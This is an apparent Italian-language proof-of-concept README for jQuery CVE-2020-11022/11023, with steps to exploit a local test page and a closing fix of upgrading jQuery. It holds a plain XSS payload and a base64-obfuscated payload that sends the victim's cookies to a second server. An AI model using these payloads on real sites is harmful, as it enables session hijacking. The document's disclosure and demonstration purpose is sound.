CVE-2020-11022 CVE-2020-11023

Nelle versioni di jQuery maggiori o uguali alla 1.2 e precedenti alla 3.5.0, passare HTML da fonti non attendibili - anche dopo averlo sanitizzato - a uno dei metodi di manipolazione del DOM di jQuery (cioè .html(), .append() e altri) può eseguire codice non attendibile. Questo problema è stato risolto in jQuery 3.5.0.

Nelle versioni di jQuery maggiori o uguali alla 1.0.3 e precedenti alla 3.5.0, passare HTML contenenti elementi da fonti non attendibili - anche dopo averlo sanitizzato - a uno dei metodi di manipolazione del DOM di jQuery (cioè .html(), .append() e altri) può eseguire codice non attendibile. Questo problema è stato risolto in jQuery 3.5.0.

Exploit

1. Ospita la pagina index.php su un webserver PHP. Suggerisco di usare sudo php -S 127.0.0.1:80 per avviare rapidamente un server.

XSS semplice

2. Visita il percorso http://127.0.0.1/?value=/%3E%3Cimg%20src=x%20onerror=alert(1)%3E
3. Premi il pulsante "Append via .html()".
4. Visualizza l'alert che appare.

Furto di cookie

2. Avvia un altro webserver sulla porta 8085, suggerisco di usare Python: sudo python3 -m http.server 8085
3. Visita il percorso http://127.0.0.1/?value=/%3E%3Cimg%20src=x%20onerror=eval(atob(%27ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly8xMjcuMC4wLjE6ODA4NS8/Yz0iK2RvY3VtZW50LmNvb2tpZQ==%27))%3E
4. Premi il pulsante "Append via .html()".
5. Controlla i log di Python e vedi il tuo cookie nei log.

Correzione

Se desideri correggere questa CVE in questo script, basta cambiare la versione di jQuery a https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.0/jquery.js :)